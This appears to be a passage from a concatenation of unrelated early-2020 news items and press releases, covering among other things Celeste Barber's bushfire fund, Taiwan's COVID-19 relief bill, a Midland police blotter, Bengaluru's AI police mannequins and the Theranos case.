release, please visit:About Lake Resources NL Lake Resources NL (ASX:LKE) (OTCMKTS:LLKKF) is a clean lithium developer utilising clean, direct extraction technology for the development of sustainable, high purity lithium from its flagship Kachi Project, as well as three other lithium brine projects in Argentina. The projects are in a prime location within the Lithium Triangle, where 40% of the world's lithium is produced at the lowest cost. This method will enable Lake Resources to be an efficient, responsibly-sourced, environmentally friendly and cost competitive supplier of high-purity lithium, which is readily scalable, and in demand from Tier 1 electric vehicle makers and battery makers. Comedian Celeste barber has reassured donors to her $51million bushfire relief fund that she is trying to get the money out to the victims who need it most. The 37-year-old launched her NSW RFS bushfire fundraiser in January, with the goal of raising $30,000 after her family home was threatened in Eden on the NSW south coast. The campaign became the largest ever fundraiser in Facebook's history, finishing with more than $51million donated from more than 1.3million people. However, none of the money raised has been given to victims of the bushfire crisis due to legal issues regarding how the funds can be distributed. Ms Barber's fundraiser was initially aimed at supporting the NSW RFS, but once the incredible amount of money started rolling in, she decided to change the fundraiser to support other states affected by the bushfires. None of Celeste Barber's $51million bushfire fund has been given out to victims due to legal issues. Pictured: Ms Barber on stage at the Fire Fight Australia concert on Sunday Funds were donated to the NSW RFS Donations Trust account, who legally can't give the funds to other charities. Pictured: firefighters tackle the Batlow blaze in central NSW 'Im going to make sure that Victoria gets some, that South Australia gets some, also families of people who have died in these fires, the wildlife,' Ms Barber said in an Instagram story in January. Legal issues have arose because the money was being donated to the NSW RFS Donations Trust account, who by law can't give the funds to other charities. The NSW RFS are able to use the funds to update equipment including trucks and face masks, but they legally can't give funds to volunteer firefighters or the victims. Ms Barber took to Instagram to give an update on her fundraiser and reassure her donors that she is 'not f***ing around.' 'My team have been in contact, chatting a lot with the RFS and stuff, about all the money that you guys so kindly donated,' she said. 'I just want you to know that were onto it. So much so that I think that, well I know that the f***ing Supreme Court might be throwing their backs into it a little bit to find out if we can distribute it. 'Because Im all like, "Lets give it to all these different places." Turns out, its not that easy, because theres "laws" or something involved. 'So the RFS have it at the moment and are trying to find out if it is possible to distribute it around more. But were not f***ing around. Like, I just said the words "Supreme Court." Like, thats how much were not f***ing around. Were taking it really seriously.' A spokesperson from the NSW Rural Fire Service told Daily Mail Australia they were working with Ms Barber to work their way around this road black and get the money out to desperate victims. 'The NSW Rural Fire Service is incredibly grateful for the efforts of Celeste Barber and her record-breaking online fundraising campaign,' the spokesperson said. 'The NSW RFS & Brigades Donations Trust has been working with Celestes team to identify options for how the funds can be distributed. Ms Barber and the RFS are working together to begin distributing money to those who need it. Pictured: a devastating blaze in East Gippsland in Victoria in January Ms Barber hosted the Fire Fight Australia concert after the incredible success of her fundraiser 'What has become clear is that the issue is very complex and the options are limited. This is because there are a number of laws which limit how funds can be distributed. 'At this stage, its planned to seek the direction of the Supreme Court to seek some clarity on how the funds can be used. This is likely to take some time. 'Importantly, the NSW RFS and Celestes team want to make it clear there is no stoush and everyone is working hard to find a solution.' Ms Barber hosted the Fire Fight Australia 2020 fundraiser concert at ANZ Stadium in Sydney on Sunday. The event grossed more than $9million for bushfire relief funds and included big acts including Queen and Adam Lambert, Alice Cooper and 5 Seconds of Summer. Debris are seen in the Maarat al-Numan city, Idlib Province, Syria, on Jan. 30, 2020. (Photo by Maher/Xinhua) Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army. MOSCOW, Feb. 20 (Xinhua) -- Syrian government troops covered by Russian warplanes on Thursday repelled several massive attacks of militants supported by Turkey in Syria's Idlib, according to the Russian military. Militants supported by artillery fire of the Turkish Armed Forces managed to break through the defense of the Syrian army, the Russian Center for Reconciliation of the Warring Parties in Syria said in a statement. To prevent the militants from moving deeper into the Syrian territory, Russia's Su-24 attack aircraft delivered a blow against them, the statement said. The airstrikes allowed the Syrian government troops to repel all the militant attacks and destroy one tank, six infantry fighting vehicles and five pickups armed with large-caliber weapons, it said. According to the statement, the Turkish troops stopped shelling after receiving Russian information that four Syrian soldiers were injured by their artillery fire. The Russian military urged the Turkish side to stop supporting the militants and halt supplying weapons to them in order to avoid future incidents. Finn Lanning was surprised when one of his new students, a "studious and smart and funny" 12-year-old named Damien, came up to him before Thanksgiving in 2018 and said he wouldn't be returning after the holiday break. Lanning is a math and science teacher at AXL Academy in Aurora, Colorado. Damien told him that he has an autoimmune diseases called focal segmental glomerulosclerosis, which affects his kidneys. He was in foster care, but because of his medical needs, they couldn't find the right placement for him, and he was going to have to move into the hospital. Soon after, his kidneys shut down, and he had to have dialysis treatments for 12 hours every day. Lanning visited Damien once a week, and was stunned when he learned that Damien needed a kidney transplant, but without stable housing, wasn't eligible to be on the donation list. It didn't matter to Lanning that he had no experience as a parent he had to be there for Damien. He applied to be his foster father, and last March, was approved. "I'd really thought a lot about this decision," Lanning told People. "I didn't want to be another person in a long line who'd made a commitment to him and then couldn't keep it. I wanted him to trust me and feel comfortable." Damien was put on the list, and in June, underwent a kidney transplant. Because of complications with his autoimmune disease, he had to go through two months of intense treatments, but has been in remission since September. Damien went back to school in August, and enjoys swimming, playing sports, and cooking with Lanning. "You kind of lose hope after awhile when you're living in the hospital," he told People. "But now I can settle in, go to school, make friends, and live a good life." Seeing the world through Damien's eyes has brought a new joy to Lanning, who "never expected this to be my life, but I'm so happy it is. We're in it together." Watch a video of the pair from 2019 below. Story continues More stories from theweek.com Bernie Sanders thanks 'multigenerational, multiracial coalition' as he declares 3rd primary victory Pete Buttigieg begs Democrats to 'take a sober look' at Bernie Sanders A moderate's 2020 lament I'm not sure if it's the thrill of the unknown or the sexual undertones that come with wearing a disguise, but the thought of showing up at a masquerade as my most mysterious self has been percolating in my mind since I first saw the masked black-tie guests in Eyes Wide Shut. (Probably not the best film to see at 10 years old.) Related | Planned Parenthood Partied in a Sex Museum While I may never get to live my masquerade fantasy in the vein of Truman Capote's Black and White Ball, living in New York provides plenty of opportunities that come a close second. This past NYFW, I finally got my chance when the city's Lesbian, Gay, Bisexual & Transgender Community Center hosted its annual MASQ (lol!) ball at the Williamsburg Hotel. The dress code was cocktail attire, but the Center encouraged guests to attend as "your most extravagant self," aka serving a LOOK! Unfortunately I'm about as extra as mayonnaise, so I just pulled a black sequined suit from my closet that was at least giving you Liza Minelli realness. (The other guests' outfits, which were dripping in eleganza, put mine to shame, naturally.) Thankfully the drinks were flowing and the Center had complimentary masks available for everyone, though I wish I'd brought a dramatic raven mask that I copped from a Loewe party earlier this year. The gays (and gay allies) were mingling all night while fabulous dancers and acrobats performed onstage. Speaking of fabulous, the event drew a couple of famous faces, like comedian Benito Skinner (aka Benny Drama) who was clad in vintage Jean Paul Gaultier. "I kind of love that it's happening during fashion week because it's less of the pretentiousness and more of the celebration," he told me. "It's kind of just this night to fully be yourself, which is really nice!" Related | Stop Complaining About New York Fashion Week Also in attendance was the artist MaryV Benoit and YouTuber/LGBT activist Chella Man, both of whom were in matching looks from Private Policy. (They attended the brand's Fall 2020 show earlier in the day.) "Just being here is really exciting," she said, adding that this was their first time at MASQ. "I saw some of the shows, some of the performances, so I'm excited to see more." Benny Drama While the night indeed brought all the girlies out to play, it was for a great cause. Each year MASQ raises funds for the center's LGBT programs including substance use treatment, advocacy and career support. Afterwards, the evening was winding down but the energy was still off-the-charts. A couple of photo booth pics and good use of the open bar later, it was time to make the trek back to Manhattan. Next thing I knew I woke up the next day with the mask still on my face. Visit The Center to learn more about how you can get involved. Daniel Tagliamonte and Maria Sakran, the owners of Sea Culture Brand and Sakran and Shaw, took the paper off the windows of their brand-new retail shop on Black Friday. Located on 3 Genesee St. West, their joint operation took just three days to set up before they opened to the public. Hearing about the abundance of store closings can discourage business owners from opening a retail shop. According to Coresight Research there was a 59% increase in store closings since 2018. But since opening in November, both Tagliamonte and Sakran say that theyve been busy. There were even people waiting to come in the morning they opened. What were doing, a lot of people are saying is nice and fresh, Tagliamonte said. A kind of new take on clothing. Sea Culture Brand Sea Culture Brand is a mens clothing and lifestyle company that offers sustainable t-shirts, hats, polos and accessories. The brands style and sustainability are inspired by Tagliamontes love for water. Bamboo, recycled plastic bottles, and bottle caps are all materials used to ensure that Sea Culture Brand has a low impact on the environment. Tagliamonte started the brand by selling products on their website. Sea Culture Brand can also be found in 10 retail shops across the country. Tagliamonte knew he wanted to open a physical location for his brand in Skaneateles after he hosted a pop-up shop there over the summer. He became a chamber member when he did the pop-up and asked to be notified if there were any shop openings available. Three weeks before Tagliamonte got a call in November about an available spot, he met Sakran. She was the merchandising manager at L.L. Bean in Fayetteville, and he had just come on as a sales rep. We just barely knew each other when we started it, Tagliamonte said. We've grown like extremely close, during this whole thing. Sea Culture Brand and Sakran & Shaw Hannah Lees Sakran & Shaw is an eco-friendly and animal friendly womens accessories and clothing brand that offers scarves, t-shirts, headbands, purses and scrunchies. The brand was created in 2015 after Sakran met Elizabeth Shaw while they were working at Jes Apparel, a wholesale distributor located in Cazenovia. Before opening the store, their products were available online and at craft shows across New York. Shaw designs and sews their products based off a pattern that Sakran makes from her photography. Shaw has a bachelors degree in fashion design from Marist College. Shes been a technical designer for over 10 years. Sakran, a Cazenovia College graduate, has a BFA in Studio Art and a specialization in photography. Sakran and Shaw each had their own businesses before teaming up. In college Sakran was using her photography to make custom prints. Shaw started her own handbag and accessories line in 2012 called Elizabeth Richard, but she was using commercial prints. We kind of realized, okay, you know what, we fill each other's needs, Shaw said. Tagliamonte asked Sakran to partner after he got the news that there was a space available. He thought the brands would balance each other out. Initially, Sakran wasnt sure if Tagliamontes offer was serious. Not to mention she was busy working full time and still had craft shows scheduled. But, opening a store was something she and Shaw had been working toward. I was like, is this the answer that I've been looking for? said Sakran. Last year the duo attended upwards of 40 craft shows including a yoga festival and the Middle Eastern Festival in Syracuse. Opening a store front allows them to attend less shows throughout the year. Shaw lives two and half hours away from Sakran. She moved to the Hudson Valley two years ago and since then, they have been working together long distance. When the opportunity to open the store came up Shaw was excited for the opportunity. She trusted Sakran operate the store with Tagliamonte. Maria is an excellent salesperson, Shaw said. It's wonderful that she can front the store. Display in Sea Culture Brand and Sakran & Shaw (Photo by Jeremy Hobbs) Sakran has eight years of retail management and visual merchandising experience. This helped make the separate brands look cohesive in one retail space. Tagliamonte had a clear vision for the store. We kind of want the customer to flow through and stay a while, Tagliamonte said. The front of the store has a coffee table with books. The window display uses a mix of driftwood, wood crates and leaves. Artwork on the walls from local artists help to meld the nautical vibe of Sea Culture brand with nature inspired Sakran & Shaw. Tagliamonte has had to reorder product to keep up with demand. Sakran said that even after bulking up in anticipation of Christmas that Shaw was sewing the entire season. Three weeks in we were like, were not giving the spot up, Tagliamonte said. This is like the best spot in town. Cabinet passes draft law to cope with coronavirus impact ROC Central News Agency 02/20/2020 06:13 PM Taipei, Feb. 20 (CNA) The Cabinet approved Thursday a draft bill aimed at mitigating the impact of the COVID-19 coronavirus outbreak, which includes measures to compensate medical personnel, those required to undergo quarantine and hard-hit local sectors. The bill also details harsher punishments for individuals who jeopardize disease prevention efforts, by breaking quarantine restrictions or hoarding supplies. If the bill is passed by the Legislature, it will authorize the Cabinet to allocate a special budget of no more than NT$60 billion (US$2 billion) to cover funding, which will stay in effect until the end of June next year. Under the draft bill, medical workers involved with epidemic prevention efforts will receive subsidies, Minister without Portfolio Lo Ping-chen () said at a press conference Thursday. If those workers fall ill or die as a result of their work, they will receive additional compensation, Lo said. For individuals who have to undergo quarantine, the bill stipulates that employers cannot list them as absent from work, or discriminate against them in any manner. If they are not paid a salary during their period of quarantine, they will be entitled to apply for compensation within a period of two years, though details regarding the application process are still being discussed, Lo said. These provisions also apply to employees who have to take time off work to care for family members in quarantine who are unable to take care of themselves, Lo added. However, parents who have to take time off to look after children due to the delay in the reopening of schools will not be entitled to this form of compensation, Deputy Labor Minister Liu Shih-hao () said. In addition to offering compensation to workers affected by COVID-19, the bill provides benefits for companies as well. Companies that pay employees' salaries when they take leave for quarantine, or when they take leave for childcare during the extended winter break, will receive tax breaks, Lo said. The government will also enact relief measures for industries impacted by the outbreak, and provide necessary help for employees within those industries, Lo said. NT$20 billion will be earmarked for domestic demand-driven industries, including manufacturing, according to Vice Minister of Economic Affairs Wang Mei-hua (). In terms of harsher punishments aimed at individuals who jeopardize COVID-19 prevention efforts, the bill raises significantly the penalty for violating quarantine terms. Under the bill, individuals who violate their 14-day home quarantine terms will be fined NT$100,000 to NT$1 million, up from the NT$10,000 to NT$150,000 stipulated under the Communicable Disease Control Act. Those who violate the stricter home isolation terms will be fined NT$200,000 to NT$1 million, up from the previous NT$60,000 to NT$300,000. The rise is in light of numerous cases of people breaking the terms of their quarantine, Lo said. For individuals confirmed or suspected of having contracted COVID-19, if they disobey instructions and behave in a way that increases the risk of infecting others, they face a prison term of up to two years or a fine of up to NT$2 million. People who drive up the prices of supplies related to disease prevention or hoard such supplies face prison terms of up to five years as well as a fine of up to NT$5 million, while those who disseminate false information regarding the epidemic face up to three years in prison or a fine of up to to NT$3 million, Lo said. (By Ku Chuan, Matt Yu and Chiang Yi-ching) Enditem/AW NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Can't allow every person who thinks of some solution to COVID-19 to file petition: SC Explained: How SC order on commissioning of women in Army will give clarity India oi-Vicky Nanjappa New Delhi, Feb 21: Army Chief General M M Naravane said the force has been championing gender equality and the Supreme Court order granting permanent commission to women officers will give it a lot of clarity moving forward. The Supreme Court on Monday had directed that women officers in the Army be granted permanent commission and command postings. No discrimination: "Indian Army does not discriminate any soldier based on religion, caste, creed, or even gender. The outlook of the Indian Army has been throughout like this and that is why we started inducting women officers as early as in 1993," Gen Naravane told reporters. Explained: What the Supreme Court sought to know on Electrical Vehicles Indian Army has taken the initiative to induct women in rank and file, and the first batch of 100 women soldiers is undergoing training at Corps of Military Police Centre and School, he said. A sense of clarity: "The Supreme Court's decision is a welcome one as it brings out a sense of clarity and purpose to gainfully employ officers for better efficiency of the organisation. I must assure that everybody in the Indian Army including women officers will be given equal opportunity to contribute to the nation as also progress in their careers," he said hailing the verdict as enabling. Explained: The Draft policy 2020 on rare diseases is far from reality and lacks genuine interest Letters are being sent to women officers asking whether they will prefer permanent commissioning, the Army chief said. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 12:17 [IST] The following list includes recent reports from the Midland County Sheriff's Office and the Midland Police Department. Compiled by reporter Mitchell Kukulka. Tuesday, Feb. 18 11:22 p.m. -- Deputies responded to a report of a verbal argument at an Ingersoll Township home. Upon arrival, contact was made with a man who stated his mom was intoxicated and was hitting herself. The son was trying to stop his mom from hurting herself. Contact was made with the woman, who was not injured but intoxicated. The woman was placed under arrest for an outstanding warrant from the Midland Police Department for domestic assault. 9:19 p.m. -- Deputies responded to a car-deer crash in Mount Haley Township. 8:55 p.m. -- Deputies responded to a car-deer crash in the area of West Barden Road near North Alamando Road in Geneva Township. 3:37 p.m. -- Officers responded to a vehicle crash in the 7300 block of Eastman Avenue. 3:33 p.m. -- A 60-year-old Larkin Township man reported receiving a threatening phone call from an 80-year-old Jerome Township man. The threat was in regards to a commercial construction job site a construction company is managing in Jerome Township. The complainant and the company he represents wished to have the incident documented. 2:38 p.m. -- Officers responded to a vehicle crash in the area of South Waldo Road and Salzburg Road. 1:05 p.m. -- A deputy responded to a two-vehicle crash in Midland Township. The at-fault driver was cited for failure to stop in an assured distance. 12:56 p.m. -- Deputies were dispatched to a Larkin Township residence in reference to a report of malicious destruction of property. The 47-year-old Larkin Township man said that an unknown person put a 3.5-foot long wire in the gas tank of his truck, causing about $9,000 worth of damage. The man did not know when or where this occurred, and could not think of anyone who would have put the wire in his fuel tank. 10:19 a.m. -- A deputy, MidMichigan Medical Center EMS, and Edenville Township Fire Department responded to an Edenville Township roadway for a single-vehicle injury crash. The driver was treated and refused transport by EMS. 10:02 a.m. -- Deputies responded to a vehicle crash in Ingersoll Township. 9:07 a.m. -- A deputy was dispatched to Sturgeon Road north of Shaffer Road in Mills Township for a report of a vehicle in a ditch. There was no visible damage and no crash report was completed. The driver was cited for violation of basic speed law due to not maintaining control of the vehicle. 9:07 a.m. -- Deputies responded to a single-vehicle rollover crash in Ingersoll Township. 5:35 a.m. -- Deputies responded to a car-deer crash in Lee Township. Monday. Feb. 17 10:42 p.m. -- A 31-year-old Hope Township man reported that he recently met a girl on Facebook. They began to talk and later exchanged pics over Facebook Messenger. The woman then sent a message to the man advising him if he did not transfer $500 to her, she would send the pictures of him to all his contacts. The man was told not to send any money and not to send pictures to people that he just met online. 10 p.m. -- Officers responded to a hit-and-run crash in the 700 block of Joe Mann Boulevard. 6:45 p.m. -- A deputy spoke with a 47-year-old Greendale Township man in reference to a series of scam phone calls he has been receiving from California. The man said he is blocking the numbers each time, and not giving out any information. The man just wanted the deputy to be aware of the situation. 5:48 p.m. -- A 34-year-old Lincoln Township woman called 9-1-1 for an unwanted guest after a 28-year-old Midland man arrived at the house she rents. The man was there to see another tenant that rents a room there. The caller was upset because there was a no contact bond protecting her from the man's 29-year-old girlfriend, who was not there. She felt this was a violation as third party contact. The deputy confirmed with the man and the caller that the purpose of the visit was to visit the other tenant and not to harass the caller. It was determined no violation had occurred. The 28-year-old man was then arrested on an unrelated warrant out of the 75th District Court for failing to appear. 5:17 p.m. -- Deputies arrested a 43-year-old Saginaw man for an active warrant out of Tawas after making contact with him on a traffic stop. The 43-year-old was a passenger in the vehicle. 3:47 p.m. -- Deputies responded to a two-vehicle crash in Greendale Township. 3:02 p.m. -- A 48-year-old Lee Township man was arrested for operating while intoxicated after a routine traffic stop. 11:33 a.m. -- Deputies responded to a two-vehicle crash in Homer Township. 11:10 a.m. -- Officers performed a warrant arrest in the 4900 block of Hedgewood Drive. 9:14 a.m. -- A deputy was dispatched to a City of Midland business to complete a car-deer crash report that occurred in Lee Township. 6:52 a.m. -- A deputy responded to a car-deer crash in Larkin Township. 5:20 a.m. -- Officers responded to a car-deer crash in the area of South Saginaw Road near Bailey Bridge Road. 4:05 a.m. -- A deputy initiated a traffic stop on a 20-year-old Saginaw man for a traffic violation in Lee Township. The man had a suspended Michigan driver license and a bench warrant out of Midland County. He was arrested for driving while license suspended and his warrant. 1:21 a.m. -- A deputy responded to a car-deer crash in the City of Midland. 12 a.m. -- Officers responded to a domestic assault in the 1200 block of Baldwin Street. PASADENA, Calif., Feb. 21, 2020 /PRNewswire/ -- Venture Underwriters Inc., a division of Allstar Financial Group, has expanded their California underwriting team to include commercial underwriting veteran Matt Gaffner. Gaffner will be joining the Pasadena office as vice president specializing in primary general liability. "With more than 20 years of commercial underwriting experience working for various companies in both New York and Los Angeles, Matt brings with him a wealth of industry knowledge," said Michael Johnson, Venture Underwriting Senior Vice President. "He will play an integral part in continuing to expand Venture's footprint throughout the West Coast." "I am thrilled to join the Venture West Coast team," said Gaffner, "and will strive to become an asset to our brokers by providing exceptional service and a cumulative knowledge specific to the E&S marketplace." In his previous position, Matt was an assistant vice president of primary casualty for Tokio Marine Specialty Insurance Services, Inc. in California. Prior to that, Matt held positions of increasing responsibility at carriers such as XL Global Risk and American International Group (AIG). Matt holds a Bachelor of Science degree from Boston University School of Management. About Venture Underwriters, Inc. Venture Underwriters, Inc. underwrites surplus lines risks that are produced exclusively by wholesale brokers. With eight branch offices throughout the country, Venture offers both primary and excess liability coverages nationwide. Venture Underwriters, Inc. is a division of Allstar Financial Group, an Atlanta-based holding company with multiple specialty MGA's. Additional information can be found at ventureund.com. About Allstar Financial Group Founded in 1965 and based in Atlanta, Allstar Financial Group provides commercial and personal insurance solutions to a diverse group of clients. With a network of 26 offices and more than 15 companies across the country, it has more than 275 employees writing surety, commercial and personal lines insurance business. The company is distinguished by its extensive product and service offerings, exceptional financial strength and underwriting excellence. Allstar Financial Group maintains its own underwriting, claim handling, legal and audit staff to assist clients and implement internal best practices. For further information on Allstar Financial Group, visit www.allstarfinancialgroup.com. SOURCE Venture Underwriters, Inc. Sorry! This content is not available in your region Five-time GMA Female Vocalist of the Year and eight-time GRAMMY nominee Natalie Grant unveils her powerful new single, "My Weapon." The song is available across all DSPs now. Written by Grant, Andrew Bergthold, Benji Cowart, Ryan Ellis and Jonathan Jay - and produced by Grant's GRAMMY Award-winning husband Bernie Herms - "My Weapon" serves as the lead single from her highly anticipated tenth studio album slated for release later this year. "Whatever current difficulty or hardship we find ourselves in, there is one thing that is a source of comfort and strength above all else, and it is also our greatest weapon-the presence of God. And His presence is always with us," Grant explains of the message behind her new song. "Joshua 1:9 reminds us to 'not be afraid; do not be discouraged, for the Lord your God will be with you wherever you go.' So no matter the fight, we never fight alone. May this song remind you that God is with you and God is for you, fighting your battles. He is your victory." Set against a lush orchestral backdrop, recorded with the symphony in London, Grant's soaring vocals bring the song's anthemic lyrics to life: "Your presence is my greatest weapon / Pushing back the darkness / Breaking every chain / My worship opens up the heavens / Crushing every stronghold / When I speak Your name / Your presence is my weapon." Grant kicked off the year alongside her friend, Charlotte Gambill, with four Dare to Be women's events in January. This past weekend, she performed at New York's iconic Carnegie Hall as part of the Gospel Music Association's 50th anniversary celebration of the Dove Awards. New 2020 tour dates will be announced in the coming months. With more new music set to release in spring 2020, Natalie will release her full studio album this summer. For current info and all tour dates, visit www.nataliegrant.com. About Natalie Grant: Eight-time GRAMMY nominee Natalie Grant has remained one of Christian music's top-selling artists since her 2005 breakout RIAA Gold-certified album, Awaken. Known for powerful vocals, heart-gripping lyrics and passionate performances, Grant has since gone on to amass more than 500 million streams and has garnered several #1 singles at radio. Having been named Female Vocalist of the Year by the Gospel Music Association five times, Grant has propelled multiple records to the #1 spot on the Billboard album charts, including her most recent, Be One. Along with her friend Charlotte Gambill, she launched Dare to Be, a series of special one-night events for women. In addition, she's the author of multiple books, including the Glimmer Girls series for tween girls. A fierce advocate for social justice, she's also the co-founder of Hope for Justice, an international non-profit organization with 32 offices spanning 10 countries, that works to end modern-day slavery. The singer and her husband, GRAMMY Award-winning songwriter/producer Bernie Herms, live in Nashville with their three daughters. Grant's powerful new single, "My Weapon," releases February 21, 2020. Tags : natalie grant my weapon Natalie Grant natalie grant new single natalie grant news The City is long overdue to have total control of its parking operations, Boyd said in a statement late Thursday. I will work with the Board of Aldermen and state legislators to ensure that this is a reality. Among other things, Boyd wants aldermen to have authority to tap more than the maximum 40% of parking revenue after expenses that state law says can go into the general city fund. Jones says her office has consistently contributed the maximum allowed and also has funded a city study needed for the proposed MetroLink north-south line and economic development projects. Her office says because she modernized parking meters, allowing payment by credit cards and smartphones, 28% fewer tickets were issued in 2018 than in 2012. She also says she eliminated ticket quotas in place previously. This wont be Boyds first race against Jones. He was among those losing to Jones in a four-way race for treasurer in the 2012 primary. In her first public remarks since she was forced to resign two weeks ago, the former director of the Cooper Hewitt, Smithsonian Design Museum called the investigation into the circumstances of her wedding, which led to her ouster, a sham colored by sexism. This is not how we treat human beings, the former director, Caroline Baumann, said in comments released Thursday through her lawyer, Luke Nikas. Ms. Baumann, 53, stepped down as director on Feb. 7 after the Smithsonians inspector general found she had violated conflict-of-interest rules in connection with her September 2018 wedding. The reason for her forced resignation has previously been reported, but new details about the investigation emerged on Thursday in an inspector generals report obtained by The New York Times. The report said that Ms. Baumann had used, or created an appearance that she had used, her Smithsonian position for private gain by obtaining free use of a Hamptons property for the ceremony, and giving the nonprofit affiliated with the property free use of Cooper Hewitt spaces for meetings; by obtaining a discounted wedding dress from a Brooklyn designer and then giving the designer a free ticket to a Cooper Hewitt gala; and by using Cooper Hewitt staff members to help publicize her wedding. Bengaluru, Feb 21 : In India's tech city, disruptive technologies such as Artificial Intelligence (AI) will soon empower mannequins to fight crime, spot traffic offenders, fine drunk drivers and rein in criminals across the city, a top official said. "We will soon have artificial eyes fixed in mannequins as cameras with a small AI-linked computing device inside them for facial recognition through a well-connected central server," Bengaluru Police Commissioner Bhaskar Rao told IANS in an interview here. The mannequins, however, will not be permanent fixtures at a given place but operate in a hide-and-seek mode. "The AI software will locate the culprits, tip off the police about the number of violations one has committed, count the traffic slips registered against the same vehicle, estimate the penalty amount and alert the police," said Rao. On how futuristic dummies or connected police officers work, Rao said a drunk driver caught on M.G. Road in the city centre would be identified by the mannequin even at a far-away junction to relay information to the control room through facial recognition. "A mannequin is an outer covering of the dummy police with its AI-powered heart for futuristic technologies. Sky is the limit for using AI and robotics in policing too," Rao pointed out. Noting that global tech giants Google, Microsoft and Walmart, innovation centres and universities such as the Indian Institute of Science (IISc) are in Bengaluru, the top cop said as the science capital, the city was the place to invent and innovate. As India's Silicon Valley, the senior IPS officer said Bengaluru was an ideal location for also pioneering modern police enforcement practices. "If we can't do here (Bengaluru), where and who else can do it (pioneering work)," he said. "Disruption is everywhere now. Everything is getting disrupted. I am also getting brainy people into the force, some software engineers as constables and police sub-inspectors nowadays," he said. The city Armed Reserve Police force (CARP), which guard property and take care of weapons, has 37 engineers in its ranks as constables. The senior Indian Police Service (IPS) officer does not want the intellectual capability of such brainy police personnel go waste. "As I don't want the intellectual capability of smart geeks to go waste, I engage them to harness their potential. As they are brainy, some of them feel a police job is a good option," said Rao. Observing that India was at the cusp of disruption as elsewhere in the world over, the police chief said as everything was getting disrupted, he was hiring smart people such as software engineers as sub-inspectors and constables. Considering his mannequin brainchild as a beginning, Rao said though the road ahead was challenging. It was exciting. "I have made a beginning, maybe the next generation officers will bring in more technology, including nano, machine learning and data analytics," he said. Two international police departments have already studied the mannequin innovation of the Bengaluru police. American and French police departments visited Bengaluru police, studied the mannequins and took photographs two months ago. "The Paris police also discussed the mannequins in their weekly meeting. It is not that we copy things from other countries, but they learn from us too. No harm in learning from each other," said Rao. Rao is also looking for more customization of the mannequins, matching the police enforcement requirements. "I have to store a computer inside and connect power to the mannequin. Suppose you put movable arms, if you add some robotics, then the shape of the whole thing will change," he said. Rao said that a robotics-enabled mannequin can replicate everyday routine functions discharged by a constable, freeing him for better and important tasks. (Sharon Thambala can be contacted at thambalasharon@gmail.com) Judge partially dismisses some criminal charges against Theranos founder Elizabeth Holmes originally appeared on abcnews.go.com The federal judge overseeing the criminal case against Theranos founder and former CEO Elizabeth Holmes and former Theranos COO Ramesh "Sunny" Balwani partially dismissed four charges against the duo, narrowing the case brought by the Department of Justice. The defense for Holmes and Balwani filed three joint motions in late 2018 that were considered at a hearing on Monday. Two of the motions argued to dismiss the indictment in its entirety and the third argued to dismiss four counts from the indictment. MORE: Lawyers of Theranos founder Elizabeth Holmes say she hasn't paid bills in over a year In his order on Tuesday, United States District Judge Edward Davila denied the majority of the requests, but partially dismissed one count of conspiracy to commit wire fraud and three counts of wire fraud, on the basis that the government failed to allege that Holmes and Balwani had a specific intent to defraud doctors and "non-paying patients," those fully covered by insurance. The prosecution will still be able to argue at trial that patients who either paid in full or paid a co-pay for a blood test were allegedly defrauded. PHOTO: In this Nov. 2, 2015 file photo, Elizabeth Holmes, founder and CEO of Theranos, speaks at the Fortune Global Forum in San Francisco. (Jeff Chiu/AP, File) The judge stated in the order that the government "fails to allege that the defendants intended to deprive doctors of their money or property" and that insured patients "would have paid their premiums regardless of Theranos' blood tests." Reed Kathrein, a partner at Hagens Berman who previously sued Theranos on behalf of investors, told ABC News that this is only a minor loss for the government. "It may open the door for the defendants to limit testimony by doctors who felt they were deceived by Holmes and Balwani, but that's a fight to come," Kathrein said. MORE: Those impacted by Theranos speak out Additionally, due to the large number of documents produced by the government -- over 20 million pages -- the court held that there is a risk that Holmes and Balwani "may be unfairly surprised at trial." Accordingly, the judge ordered the government to provide the defense with more information about the alleged fraudulent misrepresentations in advertising and marketing material, including specifically what about them is false and how Holmes and Balwani were responsible. Story continues Kathrein said it is a substantial victory for the defense. "Granting of the bill of particulars will require the government to identify, more specifically, the nature of the evidence they will present at trial so that there will be less surprise by the defendants," he said. PHOTO: In this Monday, Nov. 2, 2015 file photo, Elizabeth Holmes, founder and CEO of Theranos, speaks at the Fortune Global Forum in San Francisco. (Jeff Chiu/AP, File) Holmes and Balwani are each charged with two counts of conspiracy to commit wire fraud and nine counts of wire fraud as a result of allegations that they engaged in a multi-million-dollar scheme to defraud investors, and a separate scheme to defraud doctors and patients, according to the indictment. If convicted, Holmes and Balwani could face 20 years in prison and a fine of $250,000 for each count of wire fraud and for each conspiracy count. Both have pleaded not guilty. "The Dropout" is a six-part series on the rise and fall of former Silicon Valley darling Elizabeth Holmes and her company Theranos. It is written and produced by Rebecca Jarvis, Taylor Dunn and Victoria Thompson. Listen to "The Dropout" for free on Apple Podcasts, Google Podcasts, iHeartRadio, Spotify, Stitcher, TuneIn, the ABC News app, or your favorite podcast player. Imam was brought to the city from New Delhi by train and then taken to a hospital for medical checkup Guwahati: JNU student Sharjeel Imam, who was arrested on charges of sedition, was brought to Assam on Thursday evening for interrogation. Imam was brought to the city from New Delhi by train and then taken to a hospital for medical checkup, Guwahati Police Commissioner Munna Prasad Gupta told PTI. After his checkup, Imam was produced before the chief judicial magistrate's court which sent him to four days police remand, he said. The police had sought 14 days' remand to interrogate him. The student, who came into the limelight during the ongoing protests at Shaheen Bagh against the Citizenship Amendment Act (CAA), was arrested from Bihar's Jehanabad on 28 January in a case of allegedly making inflammatory speeches at the Jamia Millia Islamia University and in Aligarh. Imam was slapped with a sedition case after his alleged speeches went viral on social media wherein he was heard speaking about Assam's possible secession from the country in the wake of the CAA. A case under the stringent Unlawful Activities Prevention Act (UAPA) has been registered against him in Assam. On Tuesday, the Delhi police had named Imam as "instigator" in its charge sheet filed against 17 people in a case related to violence during protests against the CAA at New Friends Colony near Jamia Millia Islamia last year. Source: Xinhua| 2020-02-21 18:25:12|Editor: xuxin Video Player Close BEIJING, Feb. 21 (Xinhua) -- China has stepped up efforts to provide support for female medical workers fighting the novel coronavirus disease (COVID-19), including offering them sanitary products, psychological counseling and help for their families. The China Womens Development Foundation, which is under the All-China Womens Federation, has raised 2.25 million yuan (about 320,000 U.S. dollars) to support female medical workers at the frontline of the virus fight, including sanitary products and funds for purchasing adult diapers. The womens federation of Shanghai raised nearly 